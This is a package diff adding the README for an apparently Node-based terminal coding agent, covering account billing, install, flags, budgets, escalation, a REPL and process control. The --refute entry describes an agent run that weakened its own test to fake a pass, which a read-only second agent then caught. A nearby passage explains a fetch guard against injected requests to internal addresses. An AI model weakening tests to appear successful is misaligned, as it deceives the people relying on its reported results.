acuvo-code 0.2.0

package/README.md

@@ -0,0 +1,1245 @@
+# Acuvo Code
+
+A coding agent for your terminal that **writes code, runs it, reads the failure, and fixes it** — and that can *look at* what it built.
+
+Zero dependencies. One file of Node, no framework, no install-time build step.
+
+```bash
+acuvo "the invoice test is failing — work out why and fix it"
+```
+
+## If you already use Claude Code, Codex or Cursor, here is the only reason to add this
+
+**You do not bring a key.** Every other terminal agent in this class hands you a config file and a
+provider bill: an Anthropic key, an OpenAI key, an OpenRouter key — yours, metered by them, and a
+second invoice on top of whatever subscription you already pay. Acuvo Code has **one account**.
+`acuvo --login` writes an Acuvo key, and every request after it goes to
+`https://acuvo.xxiautomate.com/api/cli/v1/chat/completions` — the same account as the Acuvo web
+platform, not a provider console you have to go and top up separately
+(`lib/account.mjs`, `DEFAULT_GATEWAY_URL`).
+
+That is the whole pitch, and it is worth being blunt about how narrow it currently is:
+
+| | what an Acuvo account gets you today |
+|---|---|
+| **The coding loop** — write, run, read the failure, fix | ✅ **covered by the account.** `acuvo --login`, no provider key, no BYOK. |
+| **Bring your own key instead** | ✅ still supported. Without `--login` the CLI bills *your* provider account, and says so on every run (`bin/acuvo.mjs`). |
+| **Speech, transcription, documents, images** | ⚠️ **the endpoints ship baked in and are live** — all eight probed 2026-08-12 — but they are gated on a separate `ACUVO_MEDIA_SECRET`, and **`--login` does not issue one**. See the box below. |
+| **Video and face** | ⛔ not reachable. `face-gateway` and `image-engine` answered **404** in that same probe — absent, not busy. |
+
+> ⚠️ **So do not read this page as "one subscription covers CLI + builder + image + video + voice +
+> face".** It does not, today. `lib/login.mjs` and `lib/account.mjs` mention neither `MODAL_*` nor
+> `ACUVO_MEDIA_SECRET` anywhere — the account covers **the model calls**, and the creative half is a
+> separate credential that logging in does not hand you. This README has already been wrong in both
+> directions once (see [Install](#install)), and the version of that mistake that costs the most is
+> always the flattering one.
+
+**And there is no benchmark number on this page, deliberately.** Terminal-Bench has been run 12 times
+here — `bench/terminal-bench/results/` holds all 12 — and **every scored trial came back 0.0**, so
+there is nothing to quote. Any percentage printed here would be a number about our harness, not about
+this agent. What follows is measured behaviour instead.
+
+---
+
+## Why this instead of the others
+
+Most terminal coding agents are the same shape: a model, a file writer, and a loop. Two things here are not.
+
+**It runs what it writes.** Not "generates and hopes" — it executes the code, reads the actual exit code and stderr, and fixes the cause. On our task bench that loop is the difference between 5/7 and 7/7 with no change of model.
+
+**It can see — and it hands back a verdict, not a picture.** `see_page` renders HTML you wrote in a real browser, saves the screenshot into your workspace, and returns what was *measured*: `unreadable text (contrast 1.03:1, needs 4.5): Ember & Oak`. About two hundred tokens of specific defects, in the order that matters — a console error that stopped the page booting is printed first, because it explains everything under it.
+
+That last part is the difference, and it is worth being precise about it. **The edge is the return value, not the browser.** Screenshot tooling is not scarce: Playwright MCP and Chrome DevTools MCP are free and one install away, and your agent may already have a browser built in. What they hand back is an *image*, and the model has to interpret its own screenshot — the thing models are worst at.
+
+Measured 2026-08-10 against a live Playwright MCP server on one page: the screenshot round-trip cost **3,072 tokens**; the `see_page` verdict for the same page was **89 tokens** — a **34×** difference, and the smaller one is the one that already contains the answer. `see_page` does the measuring in code, reports a judgement, and **abstains when it cannot tell** rather than inventing a finding (`findingsFrom`, `lib/media.mjs`). On our own pages that abstention killed two false accusations per page.
+
+Be clear about what that claim is worth: it is a software edge a competent developer could reproduce in a weekend. It buys a head start, not a moat — and it survives a customer typing `claude mcp add playwright`, which is the whole reason it is the claim we make.
+
+It also speaks, transcribes, and turns HTML into PDF/PNG/PPTX — see [Media tools](#media-tools).
+
+> ⚠️ **BE CLEAR ABOUT WHAT YOU GET ON INSTALL: these eight tools are DARK by default.** `see_page`, `speak`, `transcribe`, `make_document`, `read_document`, `read_table`, `edit_image` and `expand_image` are the media half, and a fresh install offers none of them.
+>
+> ⚠️ **THIS PARAGRAPH USED TO SAY "there is no public endpoint to enable them with", AND THAT IS NO LONGER TRUE.** It was true when it was written; it stopped being true on 2026-08-12, when all eight endpoints were probed concurrently and **every one answered** — `tts`, `transcribe`, `document-press`, `video-render`, `voice-clone` and `avatar` returned `405 Method Not Allowed`, which is the healthy reply a POST-only service gives a GET, and reading it as a failure is how a working stack gets reported as broken. The URLs were then baked into `lib/media.mjs` as defaults, so nobody has to be told them. Two endpoints did *not* answer: `face-gateway` and `image-engine` returned **404**, and those two are genuinely absent.
+>
+> ⭐ **So the real gate is a CREDENTIAL, not a missing service.** These are paid GPU endpoints and they **fail shut**: with no `ACUVO_MEDIA_SECRET` (or `MODAL_VIDEO_SECRET`) the config reports dark, because a missing credential must never mean "open to everyone" on something that bills per second (`lib/media.mjs`). ⚠️ And `acuvo --login` does **not** issue that secret — the account covers model calls, not the media half. Getting the wrong *reason* for a dark tool costs a reader an afternoon of pointing environment variables at services that were never the problem.
+>
+> Measured on a bare machine, 2026-08-14: **37 of 52 tools are offered.** Of the 15 that are not, one needs a skills directory, `ask_user` appears only when stdin and stdout are both terminals, four are the LSP tools (see below), `git_push` is opt-in (`ACUVO_ALLOW_PUSH=1` — it is the only verb that leaves your machine), and the other eight are the media half.
+>
+> ⭐ The endpoints are plain env vars, so if you run a compatible service you can point at your own. The interface is documented under [Media tools](#media-tools). What we are not doing is implying a hosted one exists.
+>
+> ⭐ **The write→run→fix loop — the actual product — works with nothing but Node and a model key.** So do git, search, the budget governor, `acuvo spend`, the plan ledger, project memory, the audit log and `--doctor`. The senses are an extra, not the product.
+>
+> ⚠️ **AND THREE THINGS THIS BOX USED TO PUT IN THAT SENTENCE DO NOT BELONG IN IT.** It previously read "the language presets, git, search, **LSP, MCP**, the budget governor" — and claimed the four LSP tools "light up by themselves in any TypeScript project". Measured on this machine 2026-08-14 with `--doctor`:
+>
+> | claimed as free | what it actually needs | evidence |
+> |---|---|---|
+> | **LSP** (`find_definition`, `find_references`, `check_types`, `list_symbols`) | a language server **installed** — a TypeScript project is not enough | `--doctor`: *"no language server is installed for typescript"* → `npm i -D typescript-language-server typescript` (`lib/lsp.mjs:126-131`) |
+> | **MCP** | a server to talk to, and this client passes npx `--no`, so it cannot fetch one | `--doctor` → *"MCP SERVERS · dark"*; the curated catalogue is off by default for exactly this reason (`lib/mcp-defaults.mjs`) |
+> | **the language presets** | the toolchain on PATH, and they are **off by default** anyway | `--doctor`: *"presets available … off by default, so pytest / go test / cargo test are refused here"* |
+>
+> ⭐ Each is genuinely free of *our* dependencies — nothing here needs a key or an account — but "works with nothing but Node and a model key" is a first-run promise, and a reader who installs to try the LSP tools finds four dark rows. The client is zero-dependency; the *capabilities* are not all zero-setup, and the honest version of this page distinguishes them.
+
+---
+
+## Install
+
+Requires **Node 20+**.
+
+**The repository is public.** `https://github.com/xxiautomate-star/acuvo-code` is open and
+clonable — verified 2026-08-11 by cloning it into an empty directory and running both the
+CLI and the test suite out of the result. Clone it with
+`git clone https://github.com/xxiautomate-star/acuvo-code.git`, then run
+`node acuvo-code/bin/acuvo.mjs --doctor`. The clone carries `bin/`, `lib/`, `test/` and
+`bench/`, and there is no `node_modules` to fetch, so `node --test test/*.test.mjs` executes
+immediately on a fresh checkout.
+
+> ⚠️ **This section used to say that URL 404s.** It did when it was written; it does not now,
+> and a warning that has become false is as expensive as the wrong instruction it replaced.
+>
+> ⚠️ **AND THE WARNING THAT REPLACED IT WENT STALE TOO — in the other direction.** It said
+> the published repo was "behind, and its suite is not green": *1,192 tests, 4 failing*,
+> measured 2026-08-11. Measured again on a fresh clone of `main` on **2026-08-13:
+> 1,715 tests, 0 failing, exit 0**, with no install step. So a reader was being told to
+> expect a red suite from a repo that is green.
+>
+> ⭐ Both directions of that mistake cost the same thing — trust in the page — and the second
+> is arguably worse, because it invites a buyer to conclude the project does not test itself.
+> The clone and this document are the same commit now, and the numbers here are re-measured
+> rather than remembered.
+>
+> Still true: **neither `acuvo-code` nor `acuvo` is published to npm** (the registry returns
+> 404 for both), so there is no `npm install -g` route.
+
+**Or run it from the source you already have.** The package is self-contained and has no
+dependencies, so there is nothing to install — point Node at the entry file:
+
+```bash
+node /path/to/acuvo-code/bin/acuvo.mjs --version
+node /path/to/acuvo-code/bin/acuvo.mjs "add a health check to src/server.js"
+```
+
+To get `acuvo` on your PATH, link the directory you have:
+
+```bash
+cd /path/to/acuvo-code
+npm link          # no dependencies to fetch — this only creates the shim
+acuvo --version
+```
+
+**Or take one file and nothing else:**
+
+```bash
+npm run bundle              # ~1s
+node dist/acuvo.mjs --version
+```
+
+Measured 2026-08-13: **1,829,742 bytes, 61 modules**, built in 1.0s, and run from a
+directory with no source tree anywhere on the path — `--version` and `--help` both answer.
+Copy that one file to a machine with Node 20+ and it works; there is nothing to install
+because there is nothing to install.
+
+> ⚠️ **THIS PARAGRAPH USED TO SAY THE BUNDLE DID NOT EXIST**, at length: that
+> `scripts/bundle.mjs` "was never written", that `npm run bundle` exits 1, and that all 44
+> tests in `test/bundle.test.mjs` skip themselves. Every word of that was true when it was
+> written and every word is false now — the script is 30,806 bytes and its output is above.
+>
+> ⭐ Recorded rather than quietly deleted, because a warning that has gone stale is
+> **exactly as expensive as the wrong instruction it replaced**, and this one was worse than
+> most: it told a reader we were broken in a way we were not. Docs decay in both directions.
+
+**Still pending:** `npm install -g acuvo-code` — the package is not published yet.
+
+### Before anything else: `acuvo --doctor`
+
+```bash
+acuvo --doctor
+```
+
+It **spends nothing** — no completion is ever requested. It says, line by line, what is
+actually working on this machine — the key, the four models in the fallback chain, every
+media endpoint, which tools the model would be offered, and git — and every dark or broken
+line names the exact variable that fixes it. Exit 0 when nothing is broken, 1 otherwise, so
+it works in CI. `--doctor --json` gives the machine form.
+
+> ⚠️ **It uses the network, and it sends your key.** This paragraph used to claim "no API
+> key and no network", and that was false: `--doctor` sends `Authorization: Bearer <your
+> key>` to `openrouter.ai/api/v1/key` and `/credits`, and pings every configured endpoint.
+> It does that because *"present, but it does NOT authenticate"* is the single most useful
+> thing it can tell you, and no offline check can produce it.
+>
+> ⭐ **`acuvo --doctor --offline` makes the old promise true** — no request is made, no key
+> leaves the machine, and every network line reads "not probed". Use it on an air-gapped
+> box, or when you would rather read the code before it talks to anything.
+
+```
+MODEL CHAIN (4 DEEP · DEFAULT DEEPSEEK/DEEPSEEK-V4-FLASH-0731)
+  live    OPENROUTER_API_KEY         present, and it authenticates
+  live    account balance            $9.16 remaining of $10.00
+MEDIA SERVICES
+  live    see_page                   configured (…acuvo-render-audit-measure.modal.run) · reachable and authorised
+  dark    speak                      MODAL_TTS_URL is unset, so speak is never offered to the model
+                                     → set MODAL_TTS_URL to your endpoint URL (and MODAL_VIDEO_SECRET to the value it expects)
+
+14 live · 6 dark · 0 broken
+nothing is broken.
+```
+
+### The one thing you must set
+
+```bash
+export OPENROUTER_API_KEY=sk-or-v1-...        # bash
+$env:OPENROUTER_API_KEY = "sk-or-v1-..."      # PowerShell
+```
+
+Or just put it in a file, which is what most projects already do:
+
+```bash
+# .env.local  (or .env) — in the workspace, or any parent up to the repo root
+OPENROUTER_API_KEY=sk-or-v1-...
+```
+
+`acuvo` reads **`.env.local` then `.env`**, walking up from the workspace and stopping at
+the repository root, so a monorepo can keep one file at the top. A real environment
+variable always beats a file, and `.env.example` is deliberately never read — it is
+committed documentation full of placeholders, and loading it would set a fake key and
+produce a 401 that blamed yours.
+
+`--version` and `--help` work without a key — they are how you check the install worked.
+
+---
+
+## Options
+
+Every flag below is real; run `acuvo --help` for the authoritative list.
+
+| flag | what it does |
+|---|---|
+| `--dir <path>` | Workspace root. Default: the current directory. |
+| `--model <id>` | OpenRouter model id. Default: `$OPENROUTER_CODEGEN_MODEL`, else `deepseek/deepseek-v4-flash-0731` (`DEFAULT_MODEL`, `lib/model.mjs`). |
+| `--max-rounds <n>` | Write → run → fix rounds, 1–64. Default **24** (`DEFAULT_MAX_ROUNDS`, `lib/cli-args.mjs`). `1` means one completion and nothing executed. The loop stops on its own when the work verifies, so a task needing four rounds still takes four — the ceiling is headroom, not a spend commitment. |
+| `--budget <usd>` | Stop when the **next** round would cross this much spend. `--budget 0.50`, `--budget 25c`, `--budget $2` all parse. Refuses to start at all if it cannot afford one round. **A $0.05 ceiling is on by default** — a measured task costs $0.0008–$0.003, so it never fires on ordinary work, and a runaway costs five cents to discover. It is sized to back `--max-rounds`' default of 24 (24 rounds is roughly $0.03–$0.06 as context grows), rather than picked. `--budget none` removes it. |
+| `acuvo verify [id] [--all]` | **Re-check a past claim, for nothing.** Every run records the exact command this process watched exit 0. `acuvo verify` runs it again — **no model call, no cost** — and says whether the claim is still true. Measured: a run claimed `npm test` passed; after somebody edited the source, `acuvo verify` answered *"THE CLAIM NO LONGER HOLDS — `npm test` claimed exit 0 and now exits 1"* and exited 1. ⚠️ A broken re-check does **not** accuse the run of lying — the file may have changed since; it says the claim is not true *now*. ⚠️ "No checkable claim" exits 3, never 0: a run that executed nothing proved nothing. ⭐ This is downstream of having a machine-checkable verdict at all — an agent whose success criterion is its own closing paragraph has nothing to re-check. **`--all` answers the question a fleet actually leaves behind**: seven terminals working a board overnight produce fifty claims, and nobody wants fifty receipts — they want to know which are still true. Deduplicated by command, which is what makes it cheap: twelve runs that claimed `npm test` are twelve claims and **one** thing to run. A command that now fails names every claim that rested on it. |
+| `--all` | Only with `acuvo verify`. Re-checks **every** recorded claim instead of the most recent one. Exits 0 if all still hold, 1 if any do not, 3 if nothing checkable was ever recorded. |
+| `acuvo rewind [id]` | **Undo what the agent did to your files.** Every run copies the previous contents of each file it writes or deletes into `.acuvo/checkpoints/`, so a run that rewrote twelve files across five rounds can be put back with one command — no model call, no cost, no git required. Bare `acuvo rewind` lists the checkpoints and exits **3** when there are none, because "there is no undo here" is not success. `acuvo rewind <id>` restores the tree to how it looked *before that run started* — including **deleting files the agent created**, which a `git checkout` cannot do because they are untracked. ⚠️ **It refuses any file you changed yourself after the run.** Each entry records the sha256 of what the agent left; if the file on disk is not that, it is skipped with the reason, because a rewind that threw away your edit would be the accident rather than the fix. `--force` overrides and prints every forced path as FORCED. `--dry-run` says exactly what it would touch and touches nothing. |
+| `--no-checkpoint` | Do not record the previous contents of the files this run writes, so `acuvo rewind` will have nothing to put back for it. On by default — it costs one read of a file that is about to be overwritten anyway, blobs are content-addressed so ten rounds rewriting one file store one copy per distinct version, and nothing is created at all until a run mutates something. Off automatically under `--dry-run`, which promises to touch nothing. |
+| `--force` | Only with `acuvo rewind`. Restore even the files you edited after the run finished. Everything it overwrites this way is printed as **FORCED**. |
+| `--refute` | **Get a second opinion.** When the run claims success, an independent agent with a fresh context — no sight of how the first one thought — tries to *refute* the claim: runs the tests, checks the callers, looks for a requirement nothing addressed. It **cannot write**. Measured on a run that cheated by weakening its test until it passed: `npm test` reported 1/1 green, and the second opinion answered *"the test was altered to match the buggy code rather than the code being fixed"* — for **$0.000636**. ⚠️ Only a concrete refutation fails the run; an opinion changes nothing, because failing correct work is the worse error. It spends what is left of your `--budget`, not a fresh copy of it. ⭐ This is affordable **because** a task here costs $0.001–0.003 — an agent at frontier prices cannot make "check everything, always" a default. |
+| `--budget-window <period>` | Measure `--fleet-budget` over this period instead of today. `7d`, `24h`, `2026-08-01`. **A schedule that fires hourly gets a fresh per-run ceiling every time**, so the number you chose is a rate, not a total — $0.02 an hour is $14 a month and nobody typed $14. This makes it a total again. Needs `--fleet-budget`; a window with no ceiling measures nothing and is refused rather than ignored. |
+| `--unattended` | Nobody is watching. A fleet ceiling **declining to start** then exits **3** instead of 1, so a cron log can tell *"it chose not to run"* from *"it ran and failed"* — two facts that need opposite reactions and used to share one exit code. Only when it declined: a run that did some work and then hit the ceiling has left the job half-finished, and that still exits 1, because half-finished is something to look at. |
+| `--claim` | Take the next open task off the shared board and run it, instead of typing a prompt. Needs `--holder`. **Seven terminals each running `acuvo --holder tN --claim` split one list of work with nobody doing the same task twice** — the claim is a lease, so a worker that crashes returns its task to the board rather than parking it forever. An empty board exits 0, not 1: a fleet finishing its work must not look like six failures. See `acuvo board` and `acuvo board add "…"`. |
+| `--no-auto-lease` | Stop claiming each file as it is written. **Every write and delete normally takes a short lease on that exact path**, so a second terminal calling `write_file` on it is *refused* rather than silently overwriting your work. ⚠️ **A lease guards the file verbs; it cannot guard code the agent runs.** Proven: a `write_file` was refused and an `evaluate` overwrote the same file seconds later — a process can write anything you can. What the tool does instead is make it LOUD: after any verb that starts a process, the paths other terminals hold are checked, and a change is reported with the file and the holder — `--lease` is a declaration you have to make in advance, this is the guarantee. On by default because it only refuses a **proven** conflict with another live terminal: with one terminal open there is nothing to find. If the lease system itself cannot run (unwritable directory, corrupt record) the write proceeds unprotected rather than being blocked — a check that fails correct work is worse than no check. |
+| `--fleet-budget <usd>` | The ceiling across **every terminal** working this workspace today, not just this run. `--budget` caps one run; seven terminals multiply that by seven, so this is the number that stays true when you open all seven. Summed from the audit log every run already writes (`.acuvo/audit/*.jsonl`) — there is no second ledger to drift, and no reset to remember. Off unless you ask for it. ⚠️ A run's cost is recorded when it **finishes**, so live runs elsewhere are not yet in the total; the overshoot that allows is bounded by their own `--budget` ceilings. |
+| `--until-done` | Keep going while the criterion you declared is unmet, the budget allows, and the loop is not going in circles. **Requires `--budget`.** It also **escalates** rather than merely retrying — see [Escalation](#escalation-trying-harder-costs-money-so-it-is-budgeted). |
+| `--max-tier <tier>` | How hard `--until-done` may try: `solo` \| `fresh` \| `best-of`. Default `best-of`. `solo` turns escalation off without turning the run off. |
+| `--best-of <n>` | Do the task n times (2–5) in isolated workspace copies and keep whichever one **verifies**. On its own it is a single parallel round; combined with `--until-done` it sets how wide the ladder's top rung is. |
+| `--shell` | Run commands through a real shell — pipes, `&&`, redirection, and any program on the machine. Off by default; read [What it can execute](#what-it-can-execute--read-this-before-trusting-it) first. |
+| `--lease <path>` | Claim a file before starting, so several terminals can share one checkout. Repeatable. Released when the process exits, however it exits. |
+| `--holder <name>` | Who to record as holding those leases. Default: the pid. |
+| `--engine <id>` | Which **Acuvo creative engine** this run may use — `acuvo-image`, `acuvo-image-ultra`, `acuvo-video`, `acuvo-video-ultra`, `acuvo-voice`, `acuvo-face`. **The core engine is the default and an Ultra one runs only when you name it here.** A premium engine that fires on its own spends credits on a decision you did not make — at 585 credits a clip against Starter's 2,000, one silent escalation is a quarter of the month. Set per medium, so choosing an image engine cannot change what `speak` does. ⚠️ Four of the six do not run from the CLI at all today (there is no video module and no face module here, and the premium image model is behind the gateway) — naming one is refused with the reason, which is a different refusal from *not on your plan* and from *out of credits*. `acuvo engines` lists them with the credit cost of each. |
+| `--no-run` | Never execute anything. It can still read, write and edit. |
+| `--command-timeout <s>` | Kill a command after this long. Default 120 (`DEFAULT_COMMAND_TIMEOUT_MS`, `lib/command.mjs`). |
+| `--max-tokens <n>` | Ceiling on each reply. Default **12000** (`DEFAULT_MAX_TOKENS`, `lib/model.mjs`). |
+| `--timeout <s>` | Give up on the model after this long. Default 180. |
+| `--issue <n>` | Read a GitHub issue, branch, fix it, run the tests. Stops at a local branch — the flow itself never pushes and never opens a PR. (The agent can push only if you separately set `ACUVO_ALLOW_PUSH=1`, and even then never to a protected branch.) |
+| `--parallel` | Run several quoted tasks at once. Names any file written by more than one task and exits 1 on a collision. |
+| `--concurrency <n>` | How many at a time, 1–4. Default 2. |
+| `--json` | One JSON object on stdout, nothing else. Human output goes to stderr. |
+| `--dry-run` | Print what *would* be written. Touches nothing, runs nothing. |
+| `--plan` | Propose first, then build. Runs a read-only planning pass, prints the plan and asks for approval before anything is written or run. |
+| `--strict` | Exit 1 when the run wrote nothing **and** ran nothing. Off by default — a question can be answered correctly without touching anything — but **on automatically when `CI` is set**, because a build step that reports success for doing nothing is the failure the exit code exists to prevent. |
+| `--offline` | With `--doctor`: make no network request at all. Your key is not sent anywhere and every endpoint line reads "not probed". Without it, `--doctor` verifies your key against openrouter.ai — which is how it can tell you a key is *present but revoked*. |
+| `--since <period>` | With `acuvo spend`: how far back to total. `7d`, `24h`, `2w`, or a date like `2026-08-01`. Omit it for everything the log still holds. An unparseable period is refused rather than silently meaning "all time". |
+| `--version`, `-v` | Print the version. |
+| `--help`, `-h` | Usage. |
+
+Run `acuvo` with no prompt to open an **interactive session** — it keeps context between turns, so "now do the same for the other file" works, and later turns are cheaper than the first.
+
+Two different numbers get quoted about that, and only one of them is ours:
+
+- **The prefix we re-send is byte-identical between rounds** — 100%, asserted by `test/cache-prefix-stability.test.mjs` and `test/turn-cache-and-prefix.test.mjs`. That is the half this tool controls.
+- **The hit rate the provider actually reports varies with upstream routing.** `deepseek/deepseek-v4-flash-0731` is served by 28 upstream endpoints and a prompt cache lives on one of them. Measured 2026-08-14 on the same 4-round task: **46.7%–48.6% unpinned, 73.7%–95.8% pinned** with `ACUVO_PROVIDER_ORDER`. Run `acuvo --json` and read `.cache.hitRate` and `.providers` for yours.
+
+#### Pinning the upstream — `ACUVO_PROVIDER_ORDER`
+
+| variable | what it does |
+|---|---|
+| `ACUVO_PROVIDER_ORDER` | Comma-separated OpenRouter provider names, in preference order — e.g. `DeepInfra` or `DeepInfra,Novita`. **Off by default.** It expresses a *preference*: `allow_fallbacks` stays true, so if the pinned upstream is down the request still goes through somewhere else. That is deliberate — a cheaper request that does not happen is not cheaper. |
+| `ACUVO_PROVIDER_STRICT` | `1` turns the preference into a hard pin (`allow_fallbacks: false`), so an unhonourable pin becomes an HTTP 404 instead of a silent re-route. Right for a benchmark, wrong for everyday work. Meaningless without `ACUVO_PROVIDER_ORDER`. |
+
+⚠️ **A pin can be accepted and then ignored.** OpenRouter does not reject a provider list it cannot honour — an unknown name, or one your account's [data policy](https://openrouter.ai/settings/privacy) excludes, is treated as an empty preference and routing proceeds at random. Measured: `ACUVO_PROVIDER_ORDER=DeepSeek` returns 404 when sent alone and, inside a real request, silently fell back to 0.0% cached. So the run now **says so**: the summary prints `⚠ ACUVO_PROVIDER_ORDER=… did not take` and names who served it instead, and `--json` carries `providers.pin`, `providers.served`, `providers.pinTook`, `providers.pinFellBack` and `providers.pinMissed`.
+
+⚠️ **A list is not one cache.** A prompt cache lives on ONE upstream instance, so only the *first* name in the list reuses the cache you have been accumulating; a fallback to the second is a live provider and a cold prefix. Measured 2026-08-16 by replaying one byte-identical 46,171-byte payload against `StreamLake,Baidu,GMICloud`: **StreamLake 98.3% cached at $0.000172, Baidu 0.0% cached at $0.000791 — 4.6× for the same bytes**, on roughly 5% of rounds (2 of 40). `providers.pinTook` counts only first-choice rounds and `providers.pinFellBack` counts the cold ones; the summary names them. `pinMissed` keeps its old meaning — nobody in the list served it — and stays rare, because a three-name list nearly always contains whoever answered.
+
+Exit code is `1` if the last command it ran still fails. That makes it usable in a script.
+
+### Stop on money, not on a counter
+
+```
+acuvo --budget 0.50 "make the failing suite pass"
+acuvo --until-done --budget 0.50 "make npm test pass, then commit it"
+```
+
+The round counter was always an arbitrary stop: it ends a run that is one round from
+finishing, and it lets a run that is going nowhere spend its whole allowance. `--budget`
+makes the wall the thing you actually have an opinion about.
+
+Before every round it projects what the next one will cost — from the trend of the rounds
+so far, with a safety margin — and stops if that would cross your ceiling. So it stops
+*before* the round that would exceed the budget, not after. It also **refuses to start**
+when it cannot afford even one round, so a `--budget 0.000001` typo costs nothing instead
+of buying one round to discover it was hopeless.
+
+The run prints one line at the end:
+
+```
+budget: $0.0048 of $0.0500 spent · 4 rounds · next ~$0.0013 · $0.0452 left
+```
+
+⚠️ **Two honest limits.** A round that comes back with no reported cost is *estimated* from
+its token count at a single blended rate, and the line says so (`⚠ 1 of 3 rounds reported no
+cost, so the total is an estimate`) rather than printing a confident total. And the overshoot
+bound is **one round, not zero**: a cost curve growing faster than ~1.4× per round can cross
+the line by at most that round's own cost. If you need a hard guarantee, leave headroom.
+
+⚠️ **`--until-done` will not run without `--budget`.** An unbounded loop against a paid API,
+unattended, is the one thing this CLI refuses to do. With both flags it stops accepting the
+model's own "I am finished" while a criterion you declared with `declare_acceptance` has not
+actually passed — up to three times, then it stops and records the criterion as unmet. It
+still stops immediately on the budget, and it stops if the loop detector sees the same
+circular pattern twice.
+
+⚠️ `--budget` and `--parallel` together are refused rather than silently multiplied: a
+ceiling for one conversation applied to three tasks is three times the number you typed.
+
+### Escalation: trying harder costs money, so it is budgeted
+
+`--until-done --budget 2.00` does not just retry. It **climbs**, and each rung is entered
+only if the remaining budget covers it:
+
+| rung | what it does |
+|---|---|
+| `solo` | one attempt. What every run does. Cheapest. |
+| `fresh` | the same task in a **new context**, carrying the failure and *not* the transcript. The context that produced a loop is the one least able to escape it. |
+| `best-of` | several independent attempts in isolated copies of the workspace; whichever **verifies** is the one applied. |
+
+```
+$ acuvo --until-done --budget 2.00 "make the suite pass"
+  ↑ solo did not verify — escalating to fresh (~0.0019 projected, 0.0081 left)
+  ...
+  the ladder (each rung ran on its own slice of --budget):
+  ✖ solo     $0.0016  would-exceed
+  ✔ fresh    $0.0019  verified
+  → verified at the fresh rung for $0.0035.
+```
+
+Why this exists: a task costs on the order of **$0.0007**, so three attempts here cost less
+than one attempt on frontier pricing. "One attempt, be smart" is a constraint of the price,
+not of the problem.
+
+Four things it will not do:
+
+- **Start a rung it cannot finish.** Half a best-of spends real money and applies nothing,
+  because the winner is chosen by comparison.
+- **Guess what a rung costs.** `best-of n` is projected at n times what the last attempt
+  actually cost, because it is literally n of them.
+- **Hide a rung it skipped.** "It failed" and "it failed and I could not afford to try
+  harder" are different facts, and only one of them means *raise the budget*. The report
+  says which.
+- **Buy the same failure three times.** A missing API key, an exhausted balance or a model
+  id that does not exist will fail identically on every rung, so it stops and says so
+  instead of paying to prove it twice more.
+
+Each rung runs on its **own slice** of `--budget` (weighted 1 : 1.4 : 3), so the first
+attempt cannot spend the whole ceiling and leave nothing to escalate with. The budget is a
+ceiling, not a target — when the first rung verifies, the rest is never spent.
+
+#### Escalating the model too
+
+By default every rung uses the model you are already on. Set `ACUVO_MODEL_TIERS` —
+cheapest first — and each rung steps up:
+
+```bash
+ACUVO_MODEL_TIERS="deepseek/deepseek-v4-flash-0731,deepseek/deepseek-chat,z-ai/glm-4.6"
+```
+
+⚠️ **It is off unless you configure it, and that default is arithmetic rather than
+caution.** The budget projects each rung from what the *previous* one measurably cost,
+which is sound while the model is constant and wrong the moment it is not — a rung on a
+model costing 20× per token would be projected at 3× a cheap attempt and waved through.
+There is no price table in this package and a wrong one is worse than none, so
+configuring tiers is you saying you know what they cost. When a rung does switch model,
+the run says so out loud and the cost projection falls back to its floor rather than
+trusting a number derived from a different model.
+
+### A REPL that remembers — and nothing else in this category has one
+
+`evaluate` writes a snippet to a file and runs it in a fresh process. So does every
+other terminal coding agent: Claude Code, Cursor, Codex and Aider all execute
+statelessly, and none of them can hold a value between two thoughts.
+
+That is not how anybody debugs. A human loads the module, looks at a real value,
+pokes the object, tries the fix on the live thing:
+
+```
+repl   const m = await import("./lib/budget.mjs")
+repl   m.parseBudgetUsd("25c")        → { ok: true, usd: 0.25 }
+repl   m.formatUsd(0.0025)            → $0.0025
+```
+
+Three lines, one process, and line 2 can see line 1. Statelessly that is three
+scripts that each re-read and re-parse the file — which is why models rewrite a
+whole script to answer a question a single expression would settle, and why each
+rewrite is another paid round.
+
+- **Top-level `await` works**, so `await import("./thing.mjs")` reaches your project.
+- **It runs in the workspace**, with the real global — `process`, `fetch` and timers
+  behave exactly as they do in the code under test.
+- **It tells you what it is holding.** Every reply lists the names in scope, so the
+  model never has to guess its own state.
+- **`repl_reset`** throws the session away. ⚠️ Imports are cached, so reset after
+  editing a file you already imported — that is the one real trap.
+
+⚠️ A hanging expression **stops the session** rather than blocking every later call:
+the driver is single-threaded, and a REPL that answers nothing is worse than none.
+Withheld by `--no-run` and in single-shot runs, like everything else that executes.
+
+### Long-running processes: it can start a server
+
+`run_command` waits for a command to finish and kills it at a timeout, which is right for
+`npm test` and makes a dev server impossible rather than slow. Three verbs cover the rest:
+
+| tool | what it does |
+|---|---|
+| `start_process` | Start something that keeps running — a dev server, a watcher, a build in watch mode. Same allowlist as `run_command`. |
+| `check_process` | Read what it has printed, whether it is still running, and — if it announced a port — whether it is **actually answering HTTP on localhost**. |
+| `stop_process` | Stop it and everything it started. |
+
+So the model can write a server, run it, and confirm it serves before telling you it works:
+
+```
+round 3  start_process    $ node server.mjs
+round 4  check_process    → HTTP 200 on http://localhost:4479/
+round 5  stop_process
+✔ VERIFIED — `GET http://localhost:4479/` exited 0.
+```
+
+⚠️ **The localhost probe is not a hole in the fetch guard.** `fetch_url` still refuses
+loopback and private addresses, because a page the model was told to read must not be able
+to talk it into fetching an internal address. This connects only to a port **this tool
+started**, discovered from that process's own output.
+
+⚠️ **Everything started this way is killed when the run ends** — on normal exit and on
+Ctrl-C, with the whole process tree, not just the direct child. Four at a time, and the
+refusal names the ones already running.
+
+### What has it cost me?
+
+```
+acuvo spend                      # everything the log still holds
+acuvo spend --since 7d           # or 24h, 2w, or 2026-08-01
+acuvo spend --json               # one object, for a script
+```
+
+Every run already appends one redacted line to `.acuvo/audit/<date>.jsonl` including its
+cost; this reads them back. No API key, no completion, no network.
+
+> ⚠️ **A run that never recorded a cost is shown separately and is NEVER counted as zero.**
+> A run that died on a 401 did not bill anything and genuinely does not know what it cost —
+> folding that in as `$0.00` would produce a total that is confidently too low, in the one
+> report you open *because* you don't trust your memory of it. A real `$0.00` run (refused
+> before any call) is a **known** zero and does count.
+>
+> The report also says how far back the log reaches, because `audit.mjs` prunes whole days —
+> "all time" means "as far back as this still goes", and a total that silently starts
+> mid-history is the same kind of lie.
+
+### Several terminals, one checkout
+
+```
+acuvo --lease src/api.ts --lease src/db.ts "add the pagination"
+acuvo leases        # who holds what, and since when. No API key needed.
+```
+
+Leases are per **path**, not per repo — a repo-wide lock would idle six of seven terminals.
+They are taken before anything is spent, heartbeated between rounds, and released when the
